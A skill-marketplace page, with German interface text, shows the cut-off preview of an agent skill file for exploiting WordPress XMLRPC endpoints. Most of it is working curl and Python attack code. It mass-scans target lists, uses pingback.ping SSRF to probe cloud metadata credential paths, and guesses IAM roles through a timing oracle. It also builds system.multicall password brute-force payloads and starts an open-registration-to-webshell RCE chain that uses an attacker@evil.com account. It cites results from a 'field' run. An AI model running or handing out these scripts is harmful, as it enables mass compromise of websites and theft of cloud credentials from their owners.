Skip to main content

xmlrpc-exploitation

Exploit XMLRPC multicall, pingback for brute force and SSRF.

Quellinformationen

Repository
uphiago/recon-skills
Letzte Quellaktivität
30. Juli 2026 um 00:23
Erkannte Sprache von SKILL.md
Englisch
Sterne
1.306
Forks
218

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
xmlrpc-exploitation
description
Exploit XMLRPC multicall, pingback for brute force and SSRF.
version
1.1.0
revision_date
2026-07-25T00:00:00.000Z
license
MIT
platforms
["linux"]
compatibility
Requires curl, python3
tags
["recon","xmlrpc","wordpress","brute-force","SSRF","RCE"]
category
recon
related_skills
["wp-mass-recon","cors-credential-wordpress","phpinfo-to-rce","cross-attack-chains","wordpress-full-compromise","port-service-discovery","error-log-mining"]
# XMLRPC Exploitation Skill 5-phase exploitation pipeline for WordPress XMLRPC endpoints. Covers bulk detection, method enumeration, SSRF via `pingback.ping`, amplified brute force via `system.multicall` (1000x amplification), and RCE via `wp.uploadFile` when open registration is present. XMLRPC is open on ~52% of WordPress targets found via wp-mass-recon. ## When to Use - `wp-mass-recon` detected XMLRPC returning HTTP 200 on POST. - Target has WordPress with open registration (chain: upload → webshell → RCE). - Need a brute-force amplification vector for WordPress credentials. - Probing for internal SSRF via `pingback.ping` to cloud metadata endpoints. ## Prerequisites - `terminal` with curl. - Target has confirmed XMLRPC endpoint (`/xmlrpc.php` returns 200 on POST with `demo.sayHello`). - For RCE chain: target must have open registration or another file upload path. - For SSRF chain: need a Collaborator/Burp Collaborator endpoint or internal target IPs. ## How to Run ```bash # Phase 1: Bulk detection on target list while read -r domain; do code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \ -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>') [[ "$code" == "200" ]] && echo "OPEN: $domain" sleep 0.3 done < targets.txt # Phase 2: Deep method enumeration curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET/xmlrpc.php" \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' ``` ## Quick Reference | Method | Capability | Severity | |--------|-----------|----------| | `demo.sayHello` | Confirms XMLRPC is alive | Info | | `system.listMethods` | Enumerate all available methods | Info | | `system.multicall` | Execute multiple methods in ONE request | Critical — 1000x brute force amplification | | `pingback.ping` | SSRF — server makes outbound HTTP request | High — probe internal network, IMDS | | `wp.getUsers` | Enumerate WordPress users | Medium | | `wp.getPosts` | List published posts | Low | | `wp.uploadFile` | Upload file to media library | Critical — webshell when combined with open reg | | `wp.getOptions` | Read WordPress options (siteurl, admin_email) | Medium | | `wp.getPostStatusList` | Get post statuses | Low | ## Procedure ### Phase 1 — Bulk Detection ```bash #!/bin/bash # Input: domains.txt (one domain per line) # Output: xmlrpc_open.txt echo "domain,code,hello" > xmlrpc_open.csv while read -r domain; do resp=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$domain/xmlrpc.php" \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName></methodCall>' 2>/dev/null) if echo "$resp" | grep -q "Hello"; then echo "$domain,200,yes" >> xmlrpc_open.csv echo "[OPEN] $domain" fi done < targets.txt ``` ### Phase 2 — Method Enumeration ```bash TARGET="$1" curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \ -H "Content-Type: text/xml" \ -H "Accept-Encoding: identity" \ -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \ | python3 -c " import sys, re print('\n'.join(re.findall(r'<value><string>([^<]+)</string>', sys.stdin.read()))) " | sort ``` Key methods to look for: `system.multicall`, `pingback.ping`, `wp.uploadFile`, `wp.getUsers`, `wp.getOptions`. ### Phase 3 — SSRF via pingback.ping ```bash TARGET="$1" CALLBACK="https://YOUR_COLLABORATOR.burpcollaborator.net" curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \ -H "Content-Type: text/xml" \ -d "<?xml version=\"1.0\"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>$CALLBACK</string></value></param> <param><value><string>https://$TARGET/?p=1</string></value></param> </params> </methodCall>" ``` If the callback receives a hit, the target is vulnerable to SSRF. Next, probe internal services (always include `Accept-Encoding: identity` to avoid LiteSpeed gzip): ```bash # AWS IMDSv1 curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \ -H "Content-Type: text/xml" \ -d '<?xml version="1.0"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://192.0.2.1/latest/meta-data/</string></value></param> <param><value><string>https://TARGET/?p=1</string></value></param> </params> </methodCall>' # IMDS role guessing — 14 confirmed role names (wave7_invade.py) ROLES=("admin" "ec2" "s3" "lambda" "code-deploy" "SSM-Role" "EC2Role" "CodeDeploy" "cloudformation" "ecs" "s3-readonly" "webserver-role" "app-role" "default") for role in "${ROLES[@]}"; do result=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \ -H "Content-Type: text/xml" \ -d "<?xml version=\"1.0\"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param><value><string>http://192.0.2.1/latest/meta-data/iam/security-credentials/$role</string></value></param> <param><value><string>https://TARGET/?p=1</string></value></param> </params> </methodCall>" 2>/dev/null) fc=$(echo "$result" | python3 -c " import sys, re fc = re.search(r'faultCode[^0-9]*([0-9]+)', sys.stdin.read()) print(fc.group(1) if fc else 'no-fault') ") echo " role=$role -> faultCode ${fc:-no-fault}" sleep 0.5 done ``` `faultCode 0` on a pingback to an internal address confirms the request reached the target. `faultCode 17` or `32` means blocked or unreachable. ### Phase 3b — Blind SSRF Data Extraction via Timing Oracle When `pingback.ping` returns faultCode 0 but you cannot see the response content (ordinary WordPress behaviour), use **timing differences** to extract data character-by-character or enumerate IAM roles. **How it works:** The pingback SSRF fetches the URL and the IMDS returns data. The WordPress server discards the response body (not a valid blog post URL), but the TIME spent reading the response correlates with response SIZE. **IAM Role Enumeration:** ```python import subprocess, time TARGET = "target.com" def ssrf_time(url): xml = f'''<?xml version="1.0"?> <methodCall><methodName>pingback.ping</methodName> <params><param><value><string>{url}</string></value></param> <param><value><string>https://{TARGET}/author-sitemap.xml</string></value></param> </params></methodCall>''' start = time.perf_counter() subprocess.run(["curl", "-sk", "-X", "POST", f"https://{TARGET}/xmlrpc.php", "-H", "Content-Type: text/xml", "-d", xml], capture_output=True, timeout=15) return time.perf_counter() - start # Baseline — IMDS root response time baseline = ssrf_time("http://192.0.2.1/latest/meta-data/") print(f"[baseline] IMDS root: {baseline:.3f}s") # Enumerate IAM roles — existing roles return JSON (slower) roles = ["admin","ec2","s3","lambda","code-deploy","ecs", "SSM-Role","EC2Role","webserver-role","app-role"] for role in roles: t = ssrf_time(f"http://192.0.2.1/latest/meta-data/iam/security-credentials/{role}") exists = "FOUND" if t > baseline * 1.15 else "404" print(f" {role}: {t:.3f}s -> {exists}") ``` **From field (retail.example.com, June 2026):** - IMDS `/meta-data/`: 344ms (large response — list of paths) - IMDS `/iam/security-credentials/`: 435ms (very large — IAM role listing) - IMDS `/instance-id`: 301ms (small — short string) **Pitfall:** Network jitter can cause ±50ms variance. Run each test 3 times and use the median. If baseline variance exceeds 20%, this technique is unreliable. ### Phase 4 — Amplified Brute Force (system.multicall) `system.multicall` allows executing multiple XMLRPC methods in a single HTTP request. A single request can contain 100+ `wp.getUsers` calls with different credentials, giving 1000x amplification over sequential requests. ```bash TARGET="$1" USERNAME="admin" WORDLIST="./tools/passwords.txt" # Build multicall XML with 100 passwords per request python3 -c " import sys passwords = open('$WORDLIST').read().splitlines()[:100] xml = '<?xml version=\"1.0\"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data>' for pw in passwords: xml += f'''<value><struct> <member><name>methodName</name><value><string>wp.getUsers</string></value></member> <member><name>params</name><value><array><data> <value><string>{pw}</string></value> </data></array></value></member> </struct></value>''' xml += '</data></array></value></param></params></methodCall>' print(xml) " > /tmp/multicall_payload.xml curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \ -H "Content-Type: text/xml" \ -d @/tmp/multicall_payload.xml ``` A successful auth in the response will show user data instead of `faultCode 403`. ### Phase 5 — RCE via Open Registration + wp.uploadFile If the target has open registration AND XMLRPC with `wp.uploadFile`: ```bash TARGET="$1" # Step 1: Register user curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/wp-login.php?action=register" \ -d "user_login=attackusr&user_email=attacker@evil.com&wp-submit=Register" # Step 2: Verify role — WordPress 6.x registers as SUBSCRIBER by default # Subscribers CANNOT upload files via wp.uploadFile or metaWeblog.newMediaObject ROLE_CHECK=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "https://$TARGET/xmlrpc.php" \ -H "Content-Type: text/xml" \ -d "<?xml version=\"1.0\"?> <methodCall><methodName>wp.getProfile</methodName> <params><param><value><int>1</int></value></param> <param><value><string>attackusr</string></value></param> <param><value><string>password123</string></value></param></params></methodCall>") if echo "$ROLE_CHECK" | grep -q "administrator\|editor\|author"; then echo "UPLOAD VIABLE: role is author+" elif echo "$ROLE_CHECK" | grep -q "subscriber"; then echo "SUBSCRIBER - upload blocked. Need escalation first:"
Auf GitHub ansehen
Diese SKILL.md ist sehr gross, daher zeigt SkillsMP hier nur den ersten Abschnitt. Auf GitHub ansehen